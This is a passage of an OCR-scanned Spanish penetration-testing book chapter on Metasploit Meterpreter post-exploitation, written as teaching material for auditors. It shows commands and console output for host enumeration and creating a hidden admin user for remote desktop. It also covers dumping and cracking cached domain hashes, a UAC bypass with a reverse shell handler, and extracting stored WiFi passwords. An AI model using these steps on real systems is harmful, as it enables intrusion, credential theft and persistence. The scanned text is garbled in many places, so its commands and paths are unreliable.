Sframework es la version 4 1a ruta serfa /oot msfd/logs/scripts,

Capitulo 1V, Meterpreter & Post-Explotation

Los scripts son desarrollados por la comunidad, lo que hace que existan gran cantidad de elios

~ Algunos se pueden obtener mediante subversion y otros es obligatorio hacerlo de manera manual

En la ruta jpentest/exploits/framework3/scriptsimeterpreter se dispone de gran cantidad de scripta
de este payload tan especial. Los scripfs que vienen con Metasploit depende de la versién que ses
obtenga dei preducto y las actualizaciones que vayan surgiendo de éste. '

winenum: ¢l informador

Bste script es el més completo para la recopilacién de informacion de la méquina vulneradal

Los resultados se almacenan en fa maquina del atacante en la ruta frootf.msf3/logs/scripts, o si el

{

winerim tealiza numerosas acciones, enire las que destacan lanzar gran cantidad de 6rdenes de Hnea

- ile comandos y de ordenes de WM!, obiener un listado de aplicaciones que se encuentren instaladas

en ia miquina vuinerada, realizar un volcado de los hashes de ia méquina, obtener un listado def
tfokens, etcétera.

Imelerpreter > run winenum
{*] Running windows Local Enumerion Meterpreter Script
{*] New sessjon on 192.160.0.59:445.,.
[+] saving general report te /root/.msf4llogsfscripts/winenum/PRUEBAS-61768CC_2312@829,5436/PRUE
BAS-B1766CT_20126829,5434, txt
11 ourput of each tndividual command is saved to Jroot/.msT4/logs/scripts /winenum/PRUERAS -01760
€€ 20128629, 5439
{*] Checking §f PRUEBAS-B1760CC is a Virtual Wachine ........
el UAC is Disabled
{+] Kunning Comsand List ...
1*1 running command net view
{*] ruiming command netstat -nas
1*1 funning cammand netstat «vb
[*] running cowmand netstat -ng
{+] runing command nel accounts
[*] running command route print
[+ running command ipconfiy /displaydns
[+] running command arp -a
{*1 running command ipconfig /all
[*] running command cmd.exe /¢ set
& cunning command net localgroup administrators
{*} runuing command net gronp administrators
[*+) running command net view /domain
ik rimning command netsh firewall show config
& running command tusklist /sve
&3] running commond net localgroup
%] running command net user
{*] running command net group
(¢} runiing command net share
[+ frunning command net session
£ running command gpresult /SCOPE USER /27

Fig 4 15: Bjecucion del script winenum.

~La ejecucion de winenum proporciona gran cantidad de archivos como se puede visualizar en

la imagen. Esta informacién se almacena en la ruta Koot/ msf3/logs/scripts/winenum/<nombre
mdquina>. Esta cantidad de informacién puede ayudar al auditor a comprender el estado de la
maquina y de su entorno real. A continuacién se puede visualizar una tabla distribuida por comenido
y los archivos que se pueden encontrar.
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Archivos Tematica

arp__a.ixt

ipconfig __all.txt
ipconfig__displaydns.ixt
netsh_firewall_show_config.txt
nelstal __ms.txi y estado de la red
nelstut _vb.ixt
net_view__domain.ixi
nef_view.ix(

route print.txt

piv . . v' . .
neistal__nao.fxi Informacion, conligaracién

gpresull__SCOPE_COMPUTER _ Zixt

gpresul{_SCOPE_USER_Z.uxt Polic

icas del sisiema

hashdump.ixt
nel_accounts.xt
nel_group.(xt
nei_group_administrators. fxt

net_localgroup_administrators.txt
net_session. txt

nel_user.ixt

tokens.txt

nel_localgroup. ixt Informacion usuario y hashes

net_share.ixi Recursos compartidos

program_list.csv Aplicaciones

Tabla 4.01: Archivos y temdlica de los resultados de Winenun,

root@ht:~/.msfa/logs/scripts winenum/PRUEBAS -02760CC_20120829.5430# s

g;g_ézétxt - net_share.txt

_exe ¢ _set.txt e i i
gpresult _ SCOPE_COMPUTER_ Z.txt geiztc'?i{lrrex:i}]{iihw"wnflg e
lgpresult__SCOPE_USER_ Z.Txt netstat__ns.txt

hashdump . Txt netstat_ vh.txt

ipconfig all.txt net_user. txt

ipconfig displaydns,txt net_view domain. txt
net_accounts. txt net_view.txt

ge:_g roup_administrators.txt programs_list.csy

et_group. txt PRUEBAS-8

net_tecalgroup administrators.txt route zs;ggi%mu%z&).5439.txt
net_localgroup. txt tasklist_ svc.txt
net_session. txt tokens. txt

root@t.Jtﬁ/.m5f4/10gs/scripts/uinenum/FRUEBAS-01760(.(.' 20120829.54304

:gﬁg;:gag: r;S@g: !?7351?2c3a77d2c6aad3b435b51404ee H 5I2b99999997c3b55§gza¥:z2ggzgéégf: :

Aty . yii a.1900.317dd9337ea2d549dc6743cd7ee77792:elec1hc581f420f3a@9579442879965d::'
itado:501:aad3b435b51404eeand3ba35b51404ee:31d6cTebd 16a2931h73¢59d7e80089¢R: + ‘

pepe:1003:8735172c3a77d2c6aad3b435b51484ee: 512099669997 c3h5588cafacdcoassse: : o

SUPRORT 388945a0: 1902:aad3b435b514a4eeaad3b435b51494ee:3ch9da961c4388978eb£é§4‘34aa725954: HH

Fig 4.16: Archivos generados por el script winenum.

Existe un scripi denominado remolewinenim cuya funcionalidad es idéntica a winenwm, pero para
mdquinas remotas. Se debe proporcionar el usuario, la contrasefia y ia direccidn de la maquina
objetivo. Es decir, se utiliza de puente la maquina vulnerada para, sabiendo las credenciales de
un usuario de oira maquina, recoger informacion de una tercera maquina de la red. Por otro lado,
ambién se pucde ejecutar este scrip! sin pardmetros, lo cual hara que se ejecute con las credenciales
o identidad con las que est4 corriendo Meterpreter.

Los scripis get

Este tipo de scripts proporcionan, generalmente, la activacion o habilitacion de it servicio, como
nuede ser ¢} vaso del escritorio remoto o activar ielnet, y la recuperacion de informacion sobre el
entomo v las credenciales de ciertos servicios o aplicaciones. Este tipo de serips pueden ser de
gran ayuda en una fase de post-explotacion debido, precisamente, a fas funcionalidades comentadas

anteriormente.

A continuacion se muestra un listado de los scripts cuyas funcionalidades son las de recolecciGn de
credenciales e informacion del entorno vulnerado:

Seript Deseripeion

Devuelve un listado con las aplicaciones instaladas en la méquina

vei application list
ge_app - vulnerada.

1o

get_eny Devuelve el listado de las variables de entorno de la maquina vulnerada.

Obtiene las credenciales almacenadas por Filezilla si la aplicacion se

vel filezilla creds . . .
geL fi - encuentra instalada en el sistema vulnerado.”

Devuelve un listado de las subredes en las que se encuentra la mquina

get_local_subnets
- valnerada.

= Obtiene las credenciales almacenadas por Pidgin si la aplicacidn se
gel_pidgin_creds . -
- encuentra instalada en el sistema vulnerado.

Obtiene credenciales de VNC, recuperandolas del registro de Windows.

Tabla 4.02: Listado de scripis get para recoleccion de credenciales ¢ inlormacion del entorno.

get_vncpw

Los scripts gefcounterineasure, gellelnel y getgui aportan unas funcionalidades muy inleresantes en
la fase de post-explotacion.

El seript gefcountermeasyre proporciona informacién sobre la configuracion del firewall en la
méquina vulnerada. Ademas, da informacion de la politica que dispone la maquina victima sobre
DEP, Data Execution Prevention.

Ei script gettelnet permite al atacante habilitar el servicio de Telnef en el puerto 23. Existen distintas

opciones, como son la posibilidad de habilitar sblo el servicio. En este caso fo normal serfa conocer
un usuario y una contrasefia para poder conectarse con una aplicacion de Telnet, por ejemplo Puly.
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Getrelnet dispene, ademds, de la posibilidad de crear i usuaric con contrasefia en Ja ejecncion de este
script, mediante la instruccidn rin gettelnet —u <wsuario> -p <password>. Después, simplemente,
hay que utilizar una aplicacion que soporte ci protocolo de Telnet para conectarse con dicho usuario
¥ tonlrasefia. Por Gltimo, comentar que se genera un script para limpiar la accion de creacion de
usuario, el cual estd disponible en fa ruta /rool/. lmjfa’/logs/scrip//gettelnet/c/mil_upwﬁf‘ec/m;\r

PoC: Creacién de usuario Y habilitacién de escritorio remoto

ELseript getgni permite habilitar el servicio de escritorio remoto. Ademis, si se tiene accesu a una
sheil se puede crear ficilmente un usuario con las credenciales que se desee y afiadisio al gropo de
administradores de ia méaquina. Por tltimo, si se conoce el nombre de un usuario y ia contrasefia de
€ste y se habilita la posibilidad de conectar remotamente cen el escritorio de la magquina vulnerads,
se podra gestionar graficamente dicho sistema haciendo mucho mas sencillo su manipulacion, Hay
que tener en cuenta que esta accidn puede dejar mas huellas que ! uso de una simple shel/,

Iin el escenario se parte de una sesion de Meterpreter obtenida trag la explotacion en fa fase anieriog
del test de intrusion. La primera accién que ejecutard el auditor es conocer o recordar de quéd
pardmetros dispone el script geigui. Dicho script dispone de los pardmetros -¢ para sélo habilitar ef
servicio, -u para crear un usuario ¥ ~P para asignarle una contrasefia, el funcionamiento es sirnia
al seript gettelnet,

En primer lugar se habilita el servicio de escritorio remoto, y ademds se crea un usuario denominady
hacked con su respectiva contrasefia como se puede visualizar en la imagen,

heleroreter = Fon getgul -u hacked -p 193abe e
I*] vindows Remote Desktop Configuration Meterpreter Script by Darkeperator

{*] Carlos Perez carlos_perez@darkoperator.cam

1+] Enabling Remote Desktop

{*] RGP is disabled; enabling it ..,

i+] Setting Terminsl Services service startop mode

15 The Terminal Services service is not set to aute, changing it to auto PN
11 Opening port in local firewall if necessary

I} Setting user account fer logen

[*] Adding Yser: hacked with Password: 123abc.

Fig 4.17: Mabititar servigio de escritorio remoto con gelgui,

=

A continuacidn hay que estudiar las politicas de seguridad que dispone e! sistema. Bs altamenie
pasible que pars conectar via esctitorio remoto se deba pertenecer al grupo de administradores de o
maquina. Se procede a abrir una shell o linea de comandos via Meterpreter y se ejccuta la instruccion
cotrespondiente para afiadir el uguario haciced al grupo de administradores de fa maquina.

ieteroreter > shell

Process 1124 created.

Channel & created.

Microsoft Windows Xp {Versifin 5,1, 2600)
{C) Copyright 1985-2003 Hicrosoft Corp.

CH\WINDOWS\system3zsnet localgroup administradores hacked Jadd
2et localgroup administradores hacked Jadd
Sz ha completadn el comando correctamente.

Fig 4.18: Adicion del usuario hacked al grupo de administradores,
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i
Ut vez que se dispone de un usuario perteneciente al grupo de administradores se puede utiliza

‘v . [ . v d
i i kT X i C ion. La instruccion a ejecutar e
erramienta rdesktop disponible en BackTrack para realizar la conex g ]

‘!{ . .
a siguienie rdesklop —u hacked —p 123cabe. <Direccion IP>.

(F Internet

&7 Internet Explorar
27 Corren electidnica

B Outhood. Espvess
o

i

W\ Reproductor de Windows
o Madia
@ Paseo por Windovis Xp

=l sistente para transfersncia
da archives v configuracks..

Todos Ios programas. @

Fig 4.19: Corexién mediante escritorio remoto a la méquina vulnerada,

o . o sscritorio remofo. se
Por Gltimo y una vez realizada la accidn que se requiera mediante el nso del Lsc.t}tc.mol e 110.1(;“.0
, . : ati i stivacio vic critotio,
va a proceder a la eliminacion automatica del usvario y a Is desactivacion del servicio de es1 o
: : Vol . T pot I
remoto. De este modo, se evita Jevantar sospechas y se deja el sistema en ei estado en el q

encontraba desde un principio,
. . » Co (b oamente
Cuando se habilité ef servicio de escritorio remoto a través del script gefgui, se cred autométicamen
(4% O o

j ’ <fecha>,rc con el
un seript de automatizacion en la ruta /root/,nzsfé//logs/scrzplﬂg.e1gqt(clean_up . Secha>.rc |
que se automatiza la accion de deshabilitar el servicio y la eliminacién del usuatio.

1

meterpreter » resource /root/.'msM/logs/sc'rip{s/getguié;’;g:gigpﬁ;glﬁgazs.4896.rc
{*] Reading /root .msF4/lags/scripts/getqui/clean_up_ . . TC .
E:} gszgigg iez(sétval -k g']HKU'S\Sys‘cem\(:urrent(:nntrolSet\t.‘.sntrol\Termmal Server

nections' -d "1”

-v ' fDenyTSCon

Successful set fDenyTSConnections, . Lce starte disabled
!+] Running execute -H -f cmd.exe -a "/c sc config termserv

Process 3676 created. ) -
1*] Running execute -H -f cmd.exe -a “/c sc stop termservice

Process 3694 created. .
[*] Running exacute -H - cmd.exe -a “/jc

enable'”

‘netsh firewall set service type = remotedesktop mode =

Process 3716 created,
meterpreter > — — e
Fig 4.20: Proceso automatizado para eliminacién y desactivacion del servicio RDP.
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Los scripts post

Los scripts post son denominados asi por la ruta en la que se encuentran. Algunos de estos scripls
proporcionan funcionalidades ya estudiadas, es por eslo, que algunos usuarios comentan que
Meiasploit es cadtico, ya que se dispone de fa misma funcionalidad con distinto nombre o ubicacion.
La ruta donde se alojan estos scripts es posi/<categoria>/<tipo>.

Este tipo de seripts disponen de dos categorias principales multi y windows. La categoria rulfi
contienc los scripis validos para otros Meterpreter en otras plataformas, es decir, son scripiy
independientes de la plataforma. La categoria windows en cambio son scripis validos sélo para
sistemas operativos Windows. '

En primer lugar se teatardn los scripls multi, los cuales pueden ser organizados en Lres tipos:

- Guther. Lste tipo de scripls sirven para recolectar informacion de aplicuciones, del
sistema, del entorno, de la red, de credenciales de aplicaciones, elcétery.

- Manage. Este tipo de Scripls permite gestionar otros SCHIpIS.

- General. Permiten realizar acciones de gjecucion y cierre de tareas en Meterpreter.

Los scripts windows son més variados y especificos del propic sistema cperativo, permitiendo

realizar numerosas tareas sobre la maquina vulnerada. A continuacién se oiganizan los diferentes
tipos en detale,

Wireless Scripts

Este tipo de scripts proporcionan funcionalidades relacionadas con la tematica Wireless o redes
inaldmbricas. El objetivo de éstos es extraer el maximo de informacion de los perfiles Wireless que
pueden existir almacenados en la méquina vulnerada. En sistemas Windows 7 o Windows Vista se

obliene la contrasefia para redes WPA, mientras que en Windows XP se obtiene la llave PBKDF?2
derivada,

Por mencionar algunos, el scripl po,s-l/windoms'/wla;1/;1)lan_[)ss_1ist proporciona informacién sobye
las redes wirefess que tiene configuradas ia méaquina vulnerada. Bl script posl/windows/wlan/wlan_
cuwrrent_connection muestra a qué red WiFi esta conectada la maquina vulnerada, en caso de que se
encuenire conectado a alguna. El script postiwindows/wlan/wlan_disconnect intenta desconectar-a
la maquina vulnerada de la conexién WiFi. Y por ltimo, el script post/windows/wlan/wian _profile
recupera la informacidn, en formato XML, referida a las redes wireless configuradas en la méquina
vulnerada, incluyendo informacién como la contrasefia de la red Wifi,

Recon Scripts

Este tipo de scripss proporcionan funcionalidad con Ia que se pueden obtener resoluciones de

nombres y descubrimiento de direcciones 1P, Estos scripts utilizan Railgun para llevar a cabo sy
cometido. :

o
Manage Scripts .
i i i 16 . Aqui rada. La lista de
Bste tipo de scripts permite realizar acciones de gestidn sobre la maquina vulnslmdta H;m a
Lo Dyt . PR s lista:
acciones es amplia y variada, por ello, se enumeran las mas interesantes en la siguiente lista

j 1 . stiwindows/
- Gestidn de usuarios. Los scripts post/windows/manage/delete_user 0(J poslulogﬁ ]io
i i i : art ¢ un donuaioc,
manage/udd_user_domain permiten realizar acciones sobre los usuarios de un:
grupo de dominios o mdquina local.

- Gesiién de elementos de red. La manipulacion de certificados se realiza medi?nlc ?i
uso de los scripis post/windows/managefinject_ca o pos{/windows/nvzanc/ge/f'e;/z;zm::/_, ;j:,z, uym;
manipulacion de hosts mediante post/windows/manage/inject_host o pos{/wgu T“ i )(‘),W'
remove_host. El comando autoroute también se encuentra presente medmnleF| :Sf’ p InAe’[
wi:zdow—s"/manage/autoroute y la habilitacion del escritorio remoto se puede hacer co
script postiwindows/manage/enable_rdp. . .

- " Gestidn de procesos y payloads. Con este tipo de scripts se puede con}lfaillirlla ma?,:j:::;
vulnerada con olro equipo mediante la inyeccién de un nuevo :mg»/oad'a ll‘gves e )a c;;::[ o
de posthvindows/manage/payload_inject LHOST=<direccion IP ”fa;]”_l:/m /Illz:;; ({,l,,:] I]L;r/pam.
Logicamente, el nuevo equipo deberd tener montac.lo el handler exploit/m " v’,,‘,id(,m./
recibir la sesion. El comando migrate también dispone de un scrip! con posthvinidow:
manage/migrate. N |
- Ejecucién de un script de Microsoft Windows PowerShell. Esla I)OSibJ]I‘Id;K?LLI:O;?/.,'G)C,
flexibilidad y potencia a Metasploit. En una sesion de Meterpreter se puede q:u;u ,d/l/ 0 $erip
de PowerShell gracias al script post/windows/manage/powershell/exec_powershell.

‘ ' i6 v tan gran flexibilidad
Es recomendable visualizar el listado de los scripts de gestion ya qe fxpomm .gl.anl ﬂi ;C” ;m
y potencia a la sesion de Meferprefer. A continuacion se puede visualizar el listado de scripr

disponibles.

peterpreter > run post/windows/manage(

run post/windows/manage/add user_domain

run post/windows/manage/sutoroute

run post/windews/manage/delete user

run post/windows/manage/download_exec

run post/windows!manage/gnahle_rdp

run post/windows/manage/%nject_ca

run post/windows/manage/inject_host

run post/windows/manage/migr?te et
run post/windows/manage/multi_meterpreter_injec
run post/windeus/manage/nbd“servgr‘

run post/windows/manage/payload inject

Fig 4.21: Lista de scripts de gestién de post/windows/manage.

windows/manage/persistence
;3: ggzzjwindnws;manage/powershgll/exec_powershell
run post/windows/manage/pxexploit
run post/windows/manage/remove_ca
run post/windows/manage/remove_host
run post/windows/manage/run_as
run post/windews/manage/vss_cre§te
run post/windows/manage/vss_list
run post/windows/manage/vss_mount
run post/windows/manage/vss_set_storage
run post/windows/manage/vss storage

Gather Scripts

ri, c l i tipo de
LOS SC plS d tipo gal/lel plOpOlClonan funClODahdad pﬂ]a leOleClﬂl y COll/[\] )lob 21 LOdO I
in1o IIH"](: on en ia ma nav era O i ue as ¢ b 1 /\ eterpreter y 3,
[ q dﬂ. SOll l S SCi lptS q mas a undt 1 [ ]
]I‘ § 1011 1 1 L Uln 14 ) 11 €1 elerpreler ueach
c\yudal y muChO da conocer el Cslﬂdo de la ﬂ]aqu]na, del entOlﬂO y Dbteﬂel Cl maxHo ue llﬂOIllldC‘O“:

tanto confidencial como relevante, de dicha maquina.
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Se pueden organizar per tematicas u objetivos, los cuales se enumeran a continuacidn:

Credenciales. Log scripts postiwindows/gather/eredentials son capaces de recoger lag
credenciales de gran cantidad de aplicaciones o servicios gue se encucrtren presenten en la
maquina vulnerada, '

use ,mst/winrtows/galher/credentials/coreftp use pest/winaws?gather/credent:ats/meebo

use post/windows/gaL'her/credentials/credential collector |use post/windnws/gather/credentials/mremote

use post/windows/gather/credentials/dyndns - use post/windows/gather/cmdemials/nimbuzz

tse post/wjnduws/gather/credentialslenum_cred_store tse pvst/windws/gather/crezlentials,’outluok

st pnst/windaws/gather/credentiulslenum_picasa_wds use post/windwygather/crerlenfials/raznrsql

uge pnsl/wlndows/gather/credentials/epo_sql use post/windowalgather/credenrials/smartftp

use pvust:,lwindows/qather/credentials/filezilla_server use post/windows,’galher/credentials/tortoisesvu

use past/windows/gather/credentials/ﬂashfxp use post/windows/gather/credentlalsltotal_cumandv.r
use ,'mst/windows/gaHrer/credentials/ftpnavigator use post/windows/gather/cre(!entials/{'rillian

use posI:/wi.ndows/gaLher/credentials/gpp use post/wi.ndaws/gather/credentials/vnc

use posl/wimlnws/gather'/creden‘tials/idm use post/windows/gather/credentials/windows_autuu;gjn
lse pnst/wjmlows/gather/crede.ntials/.imail . use post/windows/gather/crﬁdentials,’winscp .
\se posL/windows/gather/credentials/imvu 1se post/wlndows/gather/cmdentia'ts/wsitp client

Fig 4.22: Listado de scripis para recoleccion de credenciales en la widging vutnerada,

- Comprobaciones y enumeracicnes. El script postiwindows/gather/checlkvm permiic
comprobar si la maquina vulnerada es una maquina virtval o no. En caso afirmativo
se especifica qué tipo de software de virtualizacién se estd utilizando. Los Scripts que se
encuentran en la ruta postiwindows/gather/enim permiten enumerar o listar una seric de
fecursos o propiedades. Por ejemplo, se pueden listar las aplicaciones instaladas en I
méquina vulnerada, listar los dispositivos que contiene, listar los usuarios logueados, log
recursos compartidos, los fokens, etcétera,

’}Es t/windows/gathe r/enum_applications
post/windows fgathe r/enum _artifacts
post/windows/gathe r/enum_chyome
post/windows /gatherys enum_computers
pest/windows/gathe r/enum_devices

post/windows/gathe rfenum_Losifile
pnst/windows/gather/enum_ie
post/windaws/gather/enumvlogged_on_users
post/windows/gather/enum _ms_product_keys
post/windowslgather/emm_powa rshell_env
post/windows/ga ther/enum_dirpernms post/wi ndows/gather/enum_se rvices
post/windows/gathe r/enum_demain pnst/windows/gather/enum_‘sha res
past/windows,gathe T/enum_domain_group_users post/windows/gathe r/enun_snisp
pust/windows fgathe r/enum_domain_tokens post/windows/gathe r/enum_termsery
post/windows/gathe r/enum domains Post/windows/gathe r/enum_tokens
post/windows/gather/enum files post/windows/gather/enum unattend

Fig 4.23: Listado de Scripts para enumerar recursos y propiedades.

- Forense. Existen seripls para realizar blisquedas forenses en la maquina vulnerada. Por
eiemplo, el seript post/vvindows/ga{her/farerz.s'ics/imager permite realizar nna imagen bye
a lyie de discos remotos o volimenes. El script posl/wina’nw.s'/gnfhe:',//orensics/emv::n_
drives permite listar las unidades y volimenes de la méquina wlncrada, Estos scripts son
interesantes para realizar pequeiias pruebas de analisis forense en remoio sobre la maguing
vulnerada.

- Espionaje de pantalla. Mediante ! uso de posl/wina’ows@a/her[vcreen_,spy se realiza
una captura de pantalla cada 5 segundos, configurables, por lo que se va rcconstruyendo lo
que estd viendo la victima, Realmente, para realizar espionaje de pantalla es mejor utiiizar

VNC, sin controlar la méquina victima, simplemente para visualizar lo que esta realizando
la maquina vulnerada.

PoC: Obteniendo hashes de usuarios dfe dpmmm .
En esta breve prueba de concepto se presenta el sigutente escenario:

- El auditor ha vulnerado una méaquina, aparentemente no es una nﬁéquim de dominio. Pero
al ejecutar el script post/windows/gather/cachedump éste observard que hay credencmk\as de
usvarios de un deminio.

- La miquina vulnerada es Windows XP SP3 y el auditor utiliza BackTrack 5,

El punto de partida es la sesion de Meterpreter; al lanz.ar el script /)osf/windf)w.'s/;.qathf'r/(.‘ached.znfw
se obtendra un listado de usuarios y hashes de dominio, entre ellos el adnumstl‘adm del doqumo.
(C8mo es esto posible? Los sistemas operativos Windows a!chc;:nan por dclec»to, )es dgmr por
bolilica, los Gltimos 10 usuarios que hian iniciado sesion en ef dominio (ion;ectameme. Para sistemas
operativos Windows XP/2003 los hashes se almacenan en formato A:IS(-_a.wl y pucd.e sex‘ crcir,.:/cectd()“
de manera sipida, con velocidades de miles de hashes por seguqdo. En sistemas oper alL voi ;4 inochys
Vista/2008 y superiores se almacenan en un formato mucho més seguro como es MSCash2, el cual

hace que se logren velocidades 10 veces inferiores a la anterior version del algoritmo.

peterprater » run post/windows/gather/cachedump

*] Executing medule against PRUEBAS-81760CC )
%*g Cached Cgedentials Setting: 18 - (Max is 56 and © disables, and 10 is default)
{*] Obtaining boat key...

[#] Obtaining Lsa key...

[*] XP compatible client

[*} obtaining LK$KM... )

{*] Dumping cached credentials... ‘

*] John the Ripper format: . .

ill}J +33f08afb1{3fef46e91608af18T8F692: METASPLOIT. LOCAL? :METASPLOIT@
administrador:74e8d8c50bb4ab36bb7d5edd408c8649 : METASPLOIT. LOCA HMETASPLOIT
[*| Hash zre in MSCACHE format. {mscash) :

Fiy 4.24: Oblencion de hashes de dominio para su posterior cracking.

Una vez conseguidos los hashes s pueden crackear con la ayuda de las aphcacn‘olnes Cain o John
The Ripper. Otra opeion a estudiar es 1a posibilidad de utilizar una GPU para agilizar, y mucho, el

proceso de fuerza bruta.

root@ht: /peniest/passworts/john# L /jobn --wordlist:/root/diccionario. txt --format:mscash /root/w
ee,txt .
Loaded 2 password hashes with % different salls (M$ Cache Hash [Generic 1x])

123abc. {administrador)

43abc. {flu) '
;Zxégzggs: 2 time: 6:60:96:96 180.00% (ETA: Fri Aug 31 15:56:51 2012) c¢/s: 1888 trying: 123 - k

{akaan .

Fig 4.25: Cracking de hashes MSCashvl con John The Ripper.

fscalate Scripts ' o
Liste tipo de scripts son a la vez mini exploils ya que se encargan de mtentar.elevm pr lVIle.glos enla
maquina vulnerada. El éxito de la ejecucion de estos scripts dependera del sistema operativo donde

se ejecuten,
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Uno de los mas famosos para sistemas Windows XP es post/windows/escalate/getsystem. Bl script
posttwindows/escalate/bypassuac permite elevar privilegios en sistemas Windows 7 o Windows
Vista, y de este modo llegar a ser el usuario Systein.

melerpreter = run post/windows/escalate/bypassuac

{*} started reverse handler on 192,168.1.48:4444
{*] Starting the payload handler... )
{+] Uploading the bypass UAC executable to the fllesygtem...
£ s [#] Heterpreter stager executable 73802 bytes long being uploaded..
PoC: Bypass a UAC en Windows 7 con obtencion de Infornuicion WLAN %] Uploaded the agent to the Tilesyste....
: I ° ‘ esent cenari , el auditor L clad : meterpreter >
En esta .b.mebd de cgnlcepto se plegvllta un escenario ep el qu§ el auditor La ?X])!V(AGD ung '!'E IRELEE » e (752120 bytes) o 192.168.1.0
vulnerabilidad en un sistema como Windows 7, Windows Vista, o Windows Server 2008/R2 f

TG0 1 . 7-0R- 52.21-32
orits, en esle {*] Heterpreter sassion 2 opened (192.168.1.40:4444 -> 192,168.1.42:1886) at 2812-08-31 6%:21:3
caso se hard referencia siempre a Windows 7. S0 q S e
‘ - i+] Segsion ID 2 (192.168.1.40:4444 -> 192.168.1.42:1686) processing InitialAutoRunSeript *mig
Bl auditor dispone de una sesion de Meterpreter con un usuario estandar sin privilegios. El objetivo te -f*

[+] Current server procéss: mFzdziwLsiogy.exe {4248)
i*] Spawning notcpad.exe process to migrate to

-1 figrating te 3986 )

i1 successfully migrated to process

es elevar privilegios llegando a ser usuario System y obtener informaciéi sobre las redes wireless
que tienc configirado v utilizar asf la migquina vulnerada. Ademds, de encontrar informacion il
sobre contrasefias de las redes wirefess, lo cual puede aportar una nueva via de investigacidn en el
iest de intrusion. ’

aeterpreter » bhackground
1 1 Backgrounding session L.
msf exploit{handler} > sessions -1

payload =» windows/meterpreter/reverse_tcp
thost => 192.168.1.48 Active sessions
lport => 4444 =
[*] started reverse handler on 192.158.1.46;4444

[*] starting the payload handler..

[*] Sending stage (752128 bytes) to 192.168.1.42 e e
[*] Meterpreter session 1 opened (192,.158.1.40:4444 > 182.168.1.42:1679) at 2012-68-31 82:14:08

Id Type Information Connection

I meterpreter xB6/win32 Dbit-PC\pablo @ BIT-PC 192.168.1.40:4444 -» 182.16.1.42:1078 [i82.

+6200 .1.42 " e .
162 ! meierpreter x86/win32 bit-PC\pablo @ BIT-PC 192.168.1.40:4444 -> 192.168.1.42:1086 (182.
meterpreter > getuid 168.1.42)
servec username; bit-PC\pablo [Fig 4.28: Ejecucion del scripi post/windows/lescalate/bypassiac.
Fig 4.26: Gbtencion de la consola de Meterpreter. )
meferpreter > getsystem
msf exploit{handier} > sessions -1 1

...got system {via technique 1)
mererpreter > yetuid
Server username: NT AUTHORITY\SYSTEM
neierpreter > shell
Process 5352 created.
A;i-lgEQ{DE runningdcommand getsysten: Interrupt Channel 1 created. ‘ S~
Server useriane: bi Wicrosoft Windows [Versi®n 6.1,
scierureter » getsysien Copyr;ght {¢c) 2689 Microsoft Corperation. Reservades todos los dereches.
meterpreter > getsystei
i-1 priv_elevate getsystem: Operation failed: Access is deniesd.

{*] Starting interaction with 1...

melerpreter > getsystem

C:\Windows\system32>whoami
whoami
nt authority\system

Fig 4.27: Intento de elevacidn de privilegios sin éxito.

La primera accion que se intentard es utilizar el script de tipo elevute para realizat un bypass a UAC.
Tras lanzar el script positwindows/escalate/bypassuac se obtiene una nueva sesion de Meterpreter,
con identificador distinto Iégicamente. Si se sjecuta el comando sessions ~{ en msfconsole se pucde
visualizar que, aparentemente, se dispone de una nueva sesién de Meferpreter con el mismo usuario

C:\Mindows\systen32>f§

Fig 4.29: Elevacién de privilegios con éxito en Windows 7.

que en la sesion previa.

Realmente esto no es cierto, ya que cuando se interactiic con la nueva sesion de Meterpreter y se
ejecute la instruccion gefsystem, se obtendra éxito en el intento de elevacion de privilegiosicn la
méquina vulnerada.

Iin este punto el auditor dispone de un usuario System con el que puede realizar cualquier tipo de
accion gin restriccion en la maquina vulnerada.

; adas en la maauina Windows
Para realizar la recogida de informacién de las redes wireless almacenadas en la maquina 7 indows
- Y : ; o o 9 primera
7 se ejecutan los scripis de tipo wireless, los cuales han sido explicados anteriormente. La primeys
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accidn que se lleva a cabo es obtener un listado de I
almacenadas, este hecho signific
ha conectado a dichas redes.

s redes wireless qus la méquina fiene
a que, generalmente, en algin momento | miquina vuinerada se

meterpreter > run post/winaows/wlaﬁiwlan“bss_iist

[*} {"GetlastError =sp, "returnt=sg, ‘ppwlanassLi5t"=>3359544)
i+] Humber of Networks: 18
[} SSID: WLAN AA
BSSIG: 09:02:cf:ce:ch:1a
Type: Infrastructure
°HY: Extended rate puy type
RS51: -39
Signal: 88

[+ 851D; JAZZTEL 2013

BSSID: 00:1a:2b:65:eb:7y
Type: Infrastructure

PHY: Extended rate puy type
BS51: -85

Signal: 25

{31 55ID; WiFish17e3

BSSID: 88:25:2¢:bB:d1:he )
Typa: Intrastructyra

PHY: 802.11n PHy type
ASSI: -850

Signal: 33

Hg430:0bmndénddIMMMOderWMSHWUmemLmunﬂannH%nbnw?

Con el scrips /7;).;-/’/;1'indow’.y/v:.’!an/wlan_proﬁle 32 puede obterer un volc
lormato XML con la informacién detallada de las
contrasefias para conectarse a esas redes. F,

ado de un fichero en
redes wireless. Entre diclh formacion estan lag
1 Ia imagen se puede visutizar tna parte dei voleado, Ia
patte dondz se encuentra mformacién sensible como Ja contrasefia v ei nombre de fa red,

</WLANPrGfiles
Profile Name; YiLAN AR Y

<?Hnil version='1.e'7s

<VLANProfile xmlns:“http://www.microsoft.

com/nntwcrking/WLAN/profilu/vl”>
<name>HLAN Ah</names ‘

<SSIGConfig>
<S531D>
<hex>574(4; H41</hexs
<name>WLAN_  </names
</5510>
</SSIDConfig»

<connectionType>ESS</cnnnectionType>
<c0nnectionMode>autu</connectionnode>
<HEM>

<security»

<authEncryption>
<authentication>open</authenticatiun>
<encryption>WEP</encryption>
<useGneX>false</usaOnexs

Fig 4.31: Volcado de informacion sensible de'redes wireless.

Por Gltimo, también se puede realizar esta operativa a través de la linea de comandos de I maquina
vulnerada. Para abrir una linea de comandos en Meterpreter se ejecuta el comando shell Yy se escribe
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| i i 4s ¢ oloss "
el comando netsh wlan show profile para recuperar la informacion de las redes wireless conﬁgu.ada,‘
\:l ‘0' a h H t. of o . - ; i
en ! ‘ méquina vulnerada. Sc recomienda redirigir esa salida a un archivo y mediante el vso de]
comando sownloan iener dicho archivo. También se puede ejecutar la instruccion netsh wian
cemando download obtener dicho archivo. | T : eaoeion relgh wlr
ort profile felder=. key=clear, con la cual se hace un voleado de fos perfiles wire ,cs;]a ;
export profile folder=. ke cado de eowreens 1
ificads en el pardmetr . La contrasefia se devuelve en texto plano.\
XML en la ruta especificada en ef pardmetro folder. La contrasefia

i e Serints |
Clapture Seripts _ - ‘ q
Fs‘iel tipo de scripis proporcionan funcionalidades para realizar capturas de las pulsaciones de l?Cl( (110
